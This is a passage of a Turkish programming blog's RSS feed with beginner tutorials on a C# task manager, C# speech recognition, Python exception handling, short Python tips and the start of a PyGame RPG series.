{
    if (e.KeyData.Equals(Keys.Delete))
    {
        listBox2.Items.Remove(listBox2.SelectedItem);
    }
}&lt;/pre&gt;

&lt;p&gt;Bir işlem seçildiğinde ya da seçim bırakıldığında &lt;code&gt;listBox1&lt;/code&gt; içindeki seçili eleman sayısına göre butonları aktif/pasif yapalım.&lt;/p&gt;

&lt;pre&gt;private void listBox1_SelectedIndexChanged(object sender, EventArgs e)
{
    this.setButtonsEnabledState(listBox1.Items.Count &gt; 0);
}&lt;/pre&gt;

&lt;p&gt;Parametre olarak gönderilen &lt;code&gt;listBox1.Items.Count &gt; 0&lt;/code&gt; ifadesi eğer &lt;code&gt;listBox1&lt;/code&gt; içinde seçili eleman varsa &lt;code&gt;true&lt;/code&gt; yoksa &lt;code&gt;false&lt;/code&gt; üretecek.&lt;/p&gt;

&lt;h3&gt;Yeni Görev Formu&lt;/h3&gt;
&lt;p&gt;Sağ taraftaki &lt;code&gt;Solution Explorer&lt;/code&gt; panelinde projenin üzerine sağ tıklayıp &lt;code&gt;Add &gt; New Item...&lt;/code&gt; seçeneğini seçin. Karşınıza gelen pencerede &lt;code&gt;Windows Form&lt;/code&gt; seçeneğini seçik OK deyin.&lt;/p&gt;

&lt;figure&gt;&lt;img alt=&quot;Yeni Görev Formu&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi297_fwk8t5FxpLj-CwKlcju-R5JvmDjJ7cE9pkSMc62BmIWCW-mXuJhQcIRqr57QWsK3XLH3pwYYOGtp7o8M8tI-C-g5nZ24vLN5S0KG1iibSLhiPy3I6ghDLCKsfkNoF4TYvqic4f_4/s1600/new_task_form.png&quot; /&gt;&lt;figcaption&gt;Yeni oluşturduğumuz form.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Yeni formda bir tane &lt;code&gt;TextBox&lt;/code&gt; bir tane de &lt;code&gt;Button&lt;/code&gt; eklemeniz yeteri.&lt;/p&gt;

&lt;p&gt;Form2 içinde yeni işlemi başlatacak methodu oluşturalım.&lt;/p&gt;

&lt;pre&gt;private void startNewTask()
{
    try
    {
        Process.Start(textBox1.Text.Trim());
    }
    catch (Exception ex)
    {
        MessageBox.Show(&quot;Sistem belirtilen dosyayı bulamadı.&quot;, &quot;Hata&quot;);

        Debug.WriteLine(ex.Message);
    }

    this.Dispose();
}&lt;/pre&gt;

&lt;p&gt;Form açıldığında butonun pasif olmasını sağlayalım.&lt;/p&gt;

&lt;pre&gt;private void Form2_Load(object sender, EventArgs e)
{
    button1.Enabled = false;
}&lt;/pre&gt;

&lt;p&gt;Butona tıklanıldığında yeni görev oluşturan methodu çalıştıralım.&lt;/p&gt;

&lt;pre&gt;private void button1_Click(object sender, EventArgs e)
{
    this.startNewTask();
}&lt;/pre&gt;

&lt;p&gt;Son olarak &lt;code&gt;textBox1_KeyDown&lt;/code&gt; olayında eğer basılan tuş ENTER ise yeni görev methodunu çağıralım. Eğer &lt;code&gt;textBox1&lt;/code&gt; içinde metin varsa buton aktif (true) yoksa pasif (false) olacak.&lt;/p&gt;

&lt;p&gt;Tekrar Form1&#39;e dönelim ve &lt;code&gt;button3&lt;/code&gt; (Yeni Görev) butonuna çift tıklayıp &lt;code&gt;Click&lt;/code&gt; olayını oluşturalım ve içinde Form2&#39;nin bir örneğini oluşturup kullanıcıya gösterelim.&lt;/p&gt;

&lt;pre&gt;private void button3_Click(object sender, EventArgs e)
{
    using (Form2 newTaskForm = new Form2())
    {
        newTaskForm.ShowDialog();
    }
}&lt;/pre&gt;

&lt;p&gt;İşte bu kadar! Gelişmiş(!) görev yöneticisi artık hazır. Kullandığım ikonları &lt;a href=&quot;http://iconfinder.com&quot; target=&quot;_blank&quot;&gt;iconfinder&lt;/a&gt;dan aldım.&lt;/p&gt;

&lt;p&gt;Örneğin kaynak kodlarını indirmek isteyenler &lt;a href=&quot;https://www.dropbox.com/s/v9cjl0p4eoy75zn/TaskManagerExample1.rar?dl=0&quot; target=&quot;_blank&quot;&gt;&lt;i class=&quot;fa fa-fw fa-cloud&quot;&gt;&lt;/i&gt; TaskManagerExample1.rar&lt;/a&gt; linkine tıklayabilir.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-gelismis-gorev-yoneticisi-yapma.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8xOW2tF8CjDszR7YWLrZKtCVg3VSsuuQ5G_uXH2dGJ_0c5KOprXhndG5J4YwsZdnyQfyZxq6_PUX_UnptNvu5CQOlC-kzUHBn94d_bnO0mbN7KlW5Ny4bQW-xaS8Q5xsv1ZUCvVFbPRw/s72-c/csharp_task_manager.png" height="72" width="72"/><thr:total>6</thr:total><georss:featurename>Türkiye</georss:featurename><georss:point>38.963745 35.243322000000035</georss:point><georss:box>26.356997500000002 14.589025000000035 51.5704925 55.897619000000034</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-9095426384686034086</guid><pubDate>Fri, 07 Aug 2015 21:46:00 +0000</pubDate><atom:updated>2015-08-08T01:04:51.830+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">speech recognition</category><title>C# - Sesle Komut İşleme (Speech Recognition)</title><description>&lt;p&gt;C# ile .NET içindeki &lt;strong&gt;ses tanıma&lt;/strong&gt; (Speech Recognition) kütüphanesini kullanarak mikrofondan aldığımız komutlara göre işlem yapabilir ya da tanıdığımız kelimeleri kaydedebiliriz.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;C# - Sesle Komut İşleme (Speech Recognition)&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGnBBHWaU7YeNR2ub7_j0o2hUu6iJDuCeVK0SDkYG5mFppz2JA-2vAvrh2TjoepLYW5m9aay45cI9Qo_0coqXG87-8Wb9LBUitfeTXJEHoySKJ328WzRetM1DQva4hFhMTJ46Bv6Cc584/s1600/speech_recognition.png&quot; /&gt;&lt;figcaption&gt;Hazırladığım örnek bir ses tanıma uygulaması.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Ben denemelerimi İngilizce Windows 7 Ultimate 64-bit üzerinde yaptım. Daha alt Windows sürümlerinde (XP, Vista) sorun çıkar mı bilmiyorum. Türkçe işletim sistemlerinde sorun çıkartabilir. En azından aktif etmesenizde sisteme ingilizce dil paketini kurup deneyebilirsiniz.&lt;/p&gt;

&lt;h2&gt;Hazırlık&lt;/h2&gt;

&lt;p&gt;Ses tanıma kütüphanesini projenizde kullanmak istiyorsanız Visual Studio içinde üst menüden &lt;code&gt;Project &gt; Add Reference...&lt;/code&gt; yolunu izleyin. Ardından açılan pencerede soldaki menüden &lt;code&gt;Assemblies&lt;/code&gt; altındaki &lt;code&gt;Framework&lt;/code&gt; seçeneğini seçtikten sonra ortadaki listeden &lt;code&gt;System.Speech&lt;/code&gt; kütüphanesini seçili hale getirip &lt;code&gt;OK&lt;/code&gt; butonuna tıklayın.&lt;/p&gt;

&lt;pre&gt;using System.Speech.Recognition;&lt;/pre&gt;

&lt;p&gt;Tabi ki form içinde bu kütüphaneyi kullanacağımızı &lt;code&gt;using&lt;/code&gt; ile belirtiyoruz.&lt;/p&gt;

&lt;h3&gt;Tanımlanacak Kelimeler&lt;/h3&gt;
&lt;p&gt;Önce sınıf seviyesinde (Form1 içinde) string dizisi oluşturup tanımlanacak kelimeleri önceden belirtiyoruz. Yani &lt;code&gt;Speech Recognition Engine&lt;/code&gt; bu kelimelere duyarlı olacak.&lt;/p&gt;

&lt;pre&gt;private string[] words = { &quot;hello&quot;, &quot;bye&quot;, &quot;speech&quot;, &quot;example&quot; };&lt;/pre&gt;

&lt;h3&gt;Tanımlayıcı Nesne&lt;/h3&gt;
&lt;p&gt;Şimdi, belirlediğimiz kelimeleri tanıyacak olan &lt;strong&gt;SpeechRecognitionEngine&lt;/strong&gt; nesnesini oluşturup gerekli ayarları yapacağız. Ben Form1_Load içine yazdım, size de öyle öneririm. Çünkü form dışında herhangi bir yerden erişim gerekmeyecek.&lt;/p&gt;

&lt;pre&gt;private void Form1_Load(object sender, EventArgs e)
{
    // 1. Bölüm
    SpeechRecognitionEngine speechRecognitionEngine = new SpeechRecognitionEngine();
    speechRecognitionEngine.SetInputToDefaultAudioDevice();

    // 2. Bölüm
    Choices choices = new Choices();

    foreach (string word in this.words)
    {
        choices.Add(word);
    }

    // 3. Bölüm
    GrammarBuilder grammarBuilder = new GrammarBuilder(choices);
    Grammar grammar = new Grammar(grammarBuilder);

    // 4. Bölüm
    speechRecognitionEngine.LoadGrammar(grammar);
    speechRecognitionEngine.SpeechRecognized += this.speechRecognitionEngine_SpeechRecognized;
    speechRecognitionEngine.RecognizeAsync(RecognizeMode.Multiple);
}&lt;/pre&gt;

&lt;p&gt;Birinci bölümde gerekli nesneyi oluşturup &lt;code&gt;SetInputToDefaultAudioDevice&lt;/code&gt; varsayılan mikrofonu kullanmasını sağladık. Eğer harici mikrofon kullanıyorsanız değiştirmelisiniz.&lt;/p&gt;

&lt;p&gt;İkinci bölümde algılanacak kelimeleri tutan &lt;code&gt;Choices&lt;/code&gt; nesnesini oluşturup bir döngü yardımıyla üstte belirlediğimiz kelimeleri tek tek seçeneklere -&lt;code&gt;Add&lt;/code&gt; methodu ile- ekledik.&lt;/p&gt;

&lt;p&gt;Üçüncü bölümde belirlediğimiz kelimelerden bir &quot;gramer yapıcı&quot;, ondan ise bir &quot;gramer&quot; nesnesi oluşturduk.&lt;/p&gt;

&lt;p&gt;Dördüncü bölümde oluşturduğumuz gramer nesnesini, ses tanıma nesnesine -&lt;code&gt;LoadGrammar&lt;/code&gt; methodu ile- yükledik. Bir ses algılandığında form içindeki &lt;code&gt;speechRecognitionEngine_SpeechRecognized&lt;/code&gt; methoduna gidilmesini -ki henüz oluşturmadık- sağladık. Bir de ses algılama yöntemini asenkron/çoklu olarak ayarladık.&lt;/p&gt;

&lt;p&gt;Buraya kadar karşılaştığınız tek problem dördüncü bölümün ikinci satırı ise sorun yok demektir. Şimdi oluşturacağımız method ile o hata da kaybolacak.&lt;/p&gt;

&lt;h3&gt;Ses Tanıma Olayı (SpeechRecognized Event)&lt;/h3&gt;
&lt;p&gt;Yukarıdaki örnekte kelimeleri yazdırmak için iki tane &lt;code&gt;ListBox&lt;/code&gt; kullandım. Siz isterseniz başka bir şeyler de yapabilirsiniz. Basitçe aşağıdaki method, algılanan kelimeyi üstte belirlediğimiz kelimeler içinde arar. Eğer varsa &lt;code&gt;listBox1&lt;/code&gt; yoksa &lt;code&gt;listBox2&lt;/code&gt; içine yazdırır.&lt;/p&gt;

&lt;pre&gt;private void speechRecognitionEngine_SpeechRecognized(object sender, SpeechRecognizedEventArgs e)
{
    foreach (RecognizedWordUnit recognizedWord in e.Result.Words)
    {
        // words dizisi algılanan kelimeyi içeriyor mu?
        if (words.Contains(recognizedWord.Text))
        {
            // Yukarıda belirlenen kelimeler için.
            listBox1.Items.Add(recognizedWord.Text);
        }
        else
        {
            // Tanınmayan kelimeler için.
            listBox2.Items.Add(recognizedWord.Text);
        }
    }
}&lt;/pre&gt;

&lt;p&gt;Ayrıca fark ettim ki &quot;merhaba&quot; deyince de &quot;hello&quot; yazdırdı. Bu bir özellik midir yoksa kodda mı bir sorun var anlayamadım. Test edebilirsiniz. :)&lt;/p&gt;

&lt;p&gt;Örnek proeyi indirmek isteyenler &lt;a href=&quot;https://www.dropbox.com/s/tv7ojtw0jfozn4o/SpeechRecognitionExample1.rar?dl=0&quot; target=&quot;_blank&quot;&gt;&lt;i class=&quot;fa fa-fw fa-cloud&quot;&gt;&lt;/i&gt; SpeechRecognitionExample1.rar&lt;/a&gt; linkine tıklayabilirler.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-sesle-komut-isleme-speech-recognition.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGnBBHWaU7YeNR2ub7_j0o2hUu6iJDuCeVK0SDkYG5mFppz2JA-2vAvrh2TjoepLYW5m9aay45cI9Qo_0coqXG87-8Wb9LBUitfeTXJEHoySKJ328WzRetM1DQva4hFhMTJ46Bv6Cc584/s72-c/speech_recognition.png" height="72" width="72"/><thr:total>25</thr:total><georss:featurename>Turkey</georss:featurename><georss:point>39.0959629363055 29.8828125</georss:point><georss:box>14.804522436305497 -11.4257815 63.3874034363055 71.1914065</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-14208674764505738</guid><pubDate>Thu, 23 Jul 2015 00:11:00 +0000</pubDate><atom:updated>2015-07-23T03:11:22.403+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">python</category><title>Python - İstisnai Durum Yönetimi</title><description>&lt;p&gt;Programı yazdıktan sonra çalışma zamanında oluşabilecek sonuçlar beklenmedik sonuçlara yol açabilir. Birçok dilde olduğu gibi Python&#39;da da hata yakalama mekanizmaları mevcut. Hata oluşturması muhtemel kod parçalarını try-except blokları içine alarak hata oluşması durumunda programa alternatif bir yol gösterebiliriz.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;h2&gt;Hata Yakalama&lt;/h2&gt;

&lt;p&gt;Riskli kodları &lt;code&gt;try&lt;/code&gt; bloğuna, hata oluşması durumunda işlenecek kodları ise &lt;code&gt;except&lt;/code&gt; bloğuna yazarız.Örnek bir kod aşağıda.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
dogum = raw_input(&#39;Doğum yılı: &#39;)

try:
    yas = 2015 - int(dogum)
    print(&#39;Yaşın: {}&#39;.format(yas))

except:
    print(&#39;Olamaz... Hata oluştu!&#39;)
&lt;/pre&gt;

&lt;p&gt;Doğum yılı hatalı (string değer) girildiğinde hata oluşan satırda programı sonlandırmak yerine &lt;code&gt;except&lt;/code&gt; bloğunu işledik.&lt;/p&gt;

&lt;p&gt;Bu örnekte &lt;code&gt;try&lt;/code&gt; bloğunda oluşan hataya dair hiçbir fikrimiz yok. Şimdi hatanın &lt;code&gt;except&lt;/code&gt; bloğuna düşmesini sağlayalım.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
dogum = raw_input(&#39;Doğum yılı: &#39;)

try:
    yas = 2015 - int(dogum)
    print(&#39;Yaşın: {}&#39;.format(yas))

except Exception as e:
    print(dir(e))
&lt;/pre&gt;

&lt;p&gt;Her hata &lt;code&gt;Exception&lt;/code&gt; sınıfından türetilmiş birer objedir. Yukarıdaki örnekte oluşan hatanın &lt;code&gt;e&lt;/code&gt; isminde bloğa düşmesini sağlayıp &lt;code&gt;dir&lt;/code&gt; fonksiyonu ile sınıf içindeki elemanları listeledik.&lt;/p&gt;

&lt;p&gt;Hata içindeki &lt;code&gt;message&lt;/code&gt; değişkeni hata metnini barındırır. İstersek kullanıcıya hatanın ne olduğunu söyleyebiliriz.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
dogum = raw_input(&#39;Doğum yılı: &#39;)

try:
    yas = 2015 - int(dogum)
    print(&#39;Yaşın: {}&#39;.format(yas))

except Exception as e:
    print(&#39;Hata oluştu: {}&#39;.format(e.message))
&lt;/pre&gt;

&lt;h3&gt;Anlatsana biraz, neden ben?&lt;/h3&gt;
&lt;p&gt;Yakalamak istediğimiz hata türlerini sınırlandırabiliriz. Tüm hataların &lt;code&gt;Exception&lt;/code&gt; sınıfından türetildiğini söylemiştik. Bunun için fark gözetmeden tüm hataları yakalıyoruz. Şimdi bir değişiklik yapalım ve sadece girilen değer rakam olmadığı zaman hata vermesini sağlayalım.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
rakam = raw_input(&#39;10 kaça bölünsün: &#39;)

try:
    sonuc = 10 / int(rakam)
    print(&#39;Sonuç: {}&#39;.format(sonuc))

except ValueError as e:
    print(&#39;Hata: Lütfen bir sayı gir, metin değil.&#39;)
&lt;/pre&gt;

&lt;p&gt;Yukarıdaki örnekte bir metni sayıya çevirmeye çalışırken oluşan &lt;code&gt;ValueError&lt;/code&gt; tipini yakaladık. Yani sayı girdiğiniz sürece hiçbir hata oluşmayacak. Ancak girdiye 0 (sıfır) girdiğinizde göreceksiniz ki ne bizim hata mesajımızı gösterecek ne de program çalışacaktır. Gösterilen hata metninden anlayabileceğiniz üzere oluşan hata &lt;code&gt;ZeroDivisionError&lt;/code&gt;. Şimdi buna göre kodumuzu düzenleyelim.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
rakam = raw_input(&#39;10 kaça bölünsün: &#39;)

try:
    sonuc = 10 / int(rakam)
    print(&#39;Sonuç: {}&#39;.format(sonuc))

except ValueError as e:
    print(&#39;Hata: Lütfen bir sayı gir, metin değil.&#39;)

except ZeroDivisionError as e:
    print(&#39;Hata: Hiçbir sayı sıfıra bölünemez. :(&#39;)
&lt;/pre&gt;

&lt;p&gt;Evet, şimdi daha mantıklı oldu. Fark edeceğiniz üzere birden fazla hata tipi için birden fazla &lt;code&gt;except&lt;/code&gt; bloğu kullanabiliyoruz.&lt;/p&gt;

&lt;h3&gt;Hatalıysam Arayın&lt;/h3&gt;
&lt;p&gt;İstediğimiz (daha doğrusu istemediğimiz) durumlarda biz de hata oluşturabiliriz. Python&#39;da bu işi &lt;code&gt;raise&lt;/code&gt; anahtar kelimesi ile yaparız. Mesela aşağıdaki örneğe bakalım.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
try:
    ad = raw_input(&#39;Adın ne: &#39;)

    if not ad:
        raise Exception(&#39;İsmini girmeliydin.&#39;)

except Exception as e:
    print(e.message)
&lt;/pre&gt;

&lt;p&gt;Exception sınıfını yükseltirken (raise etmek) kullandığımız hata metnine &lt;code&gt;except&lt;/code&gt; bölümünde &lt;code&gt;message&lt;/code&gt; değişkeni ile ulaşabiliyoruz. Ya da aşağıdaki gibi bir örnek olabilir.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
try:
    isim = raw_input(&#39;Kullanıcı adı: &#39;)
    parola = raw_input(&#39;Parola: &#39;)

    if not isim == &#39;umut&#39; or not parola == &#39;1234&#39;:
        raise Exception()

    print(&#39;Hoşgeldin, {}.&#39;.format(isim))    

except Exception as e:
    print(&#39;bizimle deyılsın.&#39;)
&lt;/pre&gt;

&lt;p&gt;Kullanıcı adı &quot;umut&quot;, parolası &quot;1234&quot; olmyan kişilerin hata mesajıyla karşılaşmasını sağladık. Bu arada ön tanımlı hata türleri hakkında bilgi edinmek isterseniz sizi &lt;a href=&quot;https://docs.python.org/2/library/exceptions.html&quot; target=&quot;_blank&quot;&gt;&lt;i class=&quot;fa fa-fw fa-level-up&quot;&gt;&lt;/i&gt; şuraya&lt;/a&gt; alalım.&lt;/p&gt;

&lt;h3&gt;Velev ki hatasızım?&lt;/h3&gt;
&lt;p&gt;Bloklar içinde hata oluşmadığı zamanlarda &lt;code&gt;else&lt;/code&gt; bloğunun işlenmesini sağlayabiliriz. Mesela yukarıdaki örneği bir de bu şekilde yapalım.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
try:
    isim = raw_input(&#39;Kullanıcı adı: &#39;)
    parola = raw_input(&#39;Parola: &#39;)

    if not isim == &#39;umut&#39; or not parola == &#39;1234&#39;:
        raise Exception()

except Exception as e:
    print(&#39;bizimle deyılsın.&#39;)

else:
    print(&#39;Hoşgeldin, {}.&#39;.format(isim)) &lt;/pre&gt;

&lt;h3&gt;Son Olarak...&lt;/h3&gt;
&lt;p&gt;Yok, yazı sona ermedi. Tüm bu blokların haricinde hata oluşsa da, oluşmasa da işletilecek bir blok tanımlayabiliriz. Bunu &lt;code&gt;finally&lt;/code&gt; anahtar kelimesi ile yaparız. Şöyle ki;&lt;/p&gt;

&lt;pre&gt;# coding: utf8
try:
    isim = raw_input(&#39;Kullanıcı adı: &#39;)
    parola = raw_input(&#39;Parola: &#39;)

    if not isim == &#39;umut&#39; or not parola == &#39;1234&#39;:
        raise Exception()

except Exception as e:
    print(&#39;Bizimle deyılsın.&#39;)

else:
    print(&#39;Hoşgeldin, {}.&#39;.format(isim))

finally:
    print(&#39;İyi kötü anılarımız oldu, artık gidebilirsin.&#39;)
&lt;/pre&gt;

&lt;p&gt;Şimdi diyebilirsiniz; &quot;Madem her halukarda işletilecek, o zaman except bloğundan sonra yazarız. Ne gerek var buna?&quot; diye. Ben de demiştim cevabını &lt;a href=&quot;http://stackoverflow.com/questions/11551996/why-do-we-need-the-finally-statement-in-python&quot; target=&quot;_blank&quot;&gt;şurada&lt;/a&gt; buldum.&lt;/p&gt;

&lt;p&gt;Diyelim ki bir fonksiyon yazdınız ve try ve except bloklarında ayrı ayrı &lt;code&gt;return&lt;/code&gt; ifadeleri var. İşte bu finally bloğu, fonksiyondan değer döndürülmeden hemen önce çalıştırılıyor. Eğer except bloğunun altına yazsaydık tabi ki de program return ifadesini gördüğü yerde fonksiyonu sonlandırıp değeri döndürücekti.&lt;/p&gt;

&lt;p&gt;Aşağıdaki kodda hata oluştuğunda dosyanın bellekten silinmesi sağlanmış.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
dosya = open(&quot;merhaba.txt&quot;, &quot;w&quot;)

try:
    dosya.write(007)

finally:
    dosya.close()&lt;/pre&gt;

&lt;h3&gt;Herkesin Hatası Kendine!&lt;/h3&gt;
&lt;p&gt;Öntanımlı hatalar artık size yetmediğinde kendi hata türlerinizi &lt;code&gt;Exception&lt;/code&gt; sınıfından türeterek kullanabilirsinz. Örneğin aşağıda girilen isim geçersiz(!) olduğunda hata mesajı verdirdik.&lt;/p&gt;

&lt;pre&gt;# coding: utf8
class GecersizAd(Exception):
    def __init__(self, message):
        self.message = message

    def __str__(self):
        return self.message


try:
    isim = raw_input(&#39;Adın ne: &#39;)

    if len(isim) &lt; 3 :
        raise GecersizAd(&#39;Böyle isim olmaz olsun. İsim dediğin en az üç harfli olur.&#39;)

except GecersizAd as e:
    print(e.message)
&lt;/pre&gt;

&lt;p&gt;Son olarak (bu sefer gerçek), işlem yapmak istemediğiniz blokları &lt;code&gt;pass&lt;/code&gt; anahtar kelimesi ile geçebilirsiniz. Boş bırakamazsınız, hata verir. Mesela;&lt;/p&gt;

&lt;pre&gt;# coding: utf8
try:
    x = raw_input(&#39;Ne?: &#39;)
    print(x / 2)

except:
    pass
&lt;/pre&gt;

&lt;p&gt;Ama pek önerilen birşey değildir. Dilerseniz &lt;a href=&quot;https://docs.python.org/2/library/logging.html&quot; target=&quot;_blank&quot;&gt;Logger&lt;/a&gt; sınıfı ile hataları kaydedip daha sonra inceleyebilirsiniz.&lt;/p&gt;

&lt;p&gt;Kolay gelsin!&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/07/python-istisnai-durum-yonetimi.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-5005200056338480180</guid><pubDate>Sun, 07 Jun 2015 15:07:00 +0000</pubDate><atom:updated>2015-06-07T18:08:30.848+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">python</category><title>Python için 10 Küçük İpucu</title><description>&lt;p&gt;Daha şık ve efektif kodlar yazmak için öğrendiklerim ve aldığım kısa notlar.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;&quot; src=&quot;&quot; /&gt;&lt;/figure&gt;

&lt;h3&gt;1 - Format fonksiyonunda liste kullanımı&lt;/h3&gt;

&lt;pre&gt;print(&quot;1 - {} 2 - {} 3 - {}&quot;.format(liste[0], liste[1], liste[2]))&lt;/pre&gt;

Yerine:

&lt;pre&gt;print(&quot;1 - {} 2 - {} 3 - {}&quot;.format(*liste))&lt;/pre&gt;

&lt;h3&gt;2 - Format fonksiyonunda sözlük kullanımı&lt;/h3&gt;

&lt;pre&gt;print(&quot;ad: {} soyad: {} no: {}&quot;.format(sozluk[&quot;ad&quot;], sozluk[&quot;soyad&quot;], sozluk[&quot;no&quot;]))&lt;/pre&gt;

Yerine:

&lt;pre&gt;print(&quot;ad: {ad} soyad: {soyad} no: {no}&quot;.format(**sozluk))&lt;/pre&gt;

&lt;h3&gt;3 - Değişken değerlerini takas etme&lt;/h3&gt;
&lt;pre&gt;temp = a
a = b
b = temp&lt;/pre&gt;

Yerine:

&lt;pre&gt;a, b = b, a&lt;/pre&gt;

&lt;h3&gt; 4 - Satır içi if ifadesi&lt;/h3&gt;
&lt;pre&gt;if is_true:
    a = 1
else:
    a = 0&lt;/pre&gt;

Yerine:

&lt;pre&gt;a = 1 if is_true else 0&lt;/pre&gt;

&lt;h3&gt;5 - Mantıksal değere göre liste içinden seçim yapma&lt;/h3&gt;
&lt;pre&gt;okul = [&quot;üni&quot;, &quot;lise&quot;]
liseli_misin = False
if liseli_misin:
    print &quot;lise&quot;
else:
    print &quot;üni&quot;&lt;/pre&gt;

Yerine:

&lt;pre&gt;print okul[liseli_misin]&lt;/pre&gt;

&lt;h3&gt;6 - Liste indexini sondan saydırma&lt;/h3&gt;
&lt;pre&gt;liste = [&quot;len&quot;, &quot;kullanmaya&quot;, &quot;gerek&quot;, &quot;yok&quot;]
eleman =  liste[len(liste) - 1]&lt;/pre&gt;

Yerine:

&lt;pre&gt;eleman = liste[-1]&lt;/pre&gt;

&lt;h3&gt;7 - Metin içinde arama&lt;/h3&gt;
&lt;pre&gt;isim = &quot;umut coskun&quot;
if isim.find(&quot;umut&quot;) != -1:
    print(&quot;ok&quot;)&lt;/pre&gt;

Yerine:

&lt;pre&gt;if &quot;umut&quot; in isim: print(&quot;ok&quot;)&lt;/pre&gt;

&lt;h3&gt;8 - Liste ya da demet çözme&lt;/h3&gt;
&lt;pre&gt;bilgiler = [&#39;albert&#39;, &#39;einstein&#39;, 14]
ad = bilgiler[0]
soyad = bilgiler[1]
yas = bilgiler[2]&lt;/pre&gt;

Yerine:

&lt;pre&gt;bilgiler = [&#39;albert&#39;, &#39;einstein&#39;, 14]
ad, soyad, yas = bilgiler&lt;/pre&gt;

&lt;h3&gt;9 - Parametresiz super fonksiyonu (Python3)&lt;/h3&gt;
&lt;pre&gt;class Evlat(Baba):
    def __init__(self):
        super(Evlat, self).__init__()&lt;/pre&gt;

Yerine:

&lt;pre&gt;class Evlat(Baba):
    def __init__(self):
        super().__init__()&lt;/pre&gt;

&lt;h3&gt;10 - Python&#39;un Felsefesi&lt;/h3&gt;
&lt;p&gt;Etkileşimli kabukta &lt;code&gt;import this&lt;/code&gt; yazarak görebilirsiniz.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/06/10-kucuk-python-ipucu.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-8577149421536356084</guid><pubDate>Fri, 05 Jun 2015 14:47:00 +0000</pubDate><atom:updated>2015-06-05T17:47:21.659+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">pygame</category><category domain="http://www.blogger.com/atom/ns#">python</category><title>PyGame ile 2D RPG Oyunu Yapalım (2. Bölüm)</title><description>&lt;p&gt;Geçen &lt;a href=&quot;http://safkaninsan.blogspot.com/2015/06/pygame-ile-2d-rpg-oyunu-yapalm-1-bolum.html&quot; target=&quot;_blank&quot;&gt;bölümde&lt;/a&gt; proje klasörünü düzeledik, modülleri oluşturduk ve ana oyun sınıfını hazırladık. Bu bölümde bir oyuncu oluşturup klavye ile yönlendirilmesini sağlayacağız.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;h2&gt;Grafikler&lt;/h2&gt;
&lt;p&gt;Kaplama (texture) olmayan resimlere sprite deniyor. Birden fazla sprite&#39;ın tek dosyada olmasına da spritesheet. Oyuncunun dört tarafa da dönmüş halinin olduğu bir spritesheet&#39;e ihtiyacımız var. &lt;a href=&quot;www.mmorpgmakerxb.com/p/characters-sprites-generator&quot; target=&quot;_blank&quot;&gt;Sprite Generator&lt;/a&gt; adresinden kolayca karakter tasarlayabilir ya da &lt;a href=&quot;http://opengameart.org/&quot; target=&quot;_blank&quot;&gt;OpenGameArt&lt;/a&gt;&#39;tan beğendiğiniz bir tanesini kullanabilirsiniz.&lt;/p&gt;

&lt;figure&gt;&lt;img alt=&quot;2D Character Spritesheet&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN8LoJorKNLBw_9SASfJvHX5oMEqv6HgmzkQ-Bygp1pRB4UBuuGe3fTDBspLtfF8JnIvxdPMKG9Xf9WIL9tPynKAsdj03Sz37h0nIdU4tVn5hBnXo_1KBno3JZo33kvcLLOU3wtDd-H3E/s1600/spritexb-3432.png&quot; /&gt;&lt;figcaption&gt;Örnek bir spritesheet. Şimdilik bunu kullanabilirsiniz...&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2&gt;Harici dosyaların yönetimi&lt;/h2&gt;
&lt;p&gt;Oyun içinde kullanacağımız dosyalara merkezi bir yerden ulaşmak ve performansı artırmak için bir sınıf yazacağız; ResourceManager. Bu sayede hem daha okunabilir kod olacak hem de tüm dosyalar bir kere yüklenip kullanılacağı için daha hızlı olacak.&lt;/p&gt;

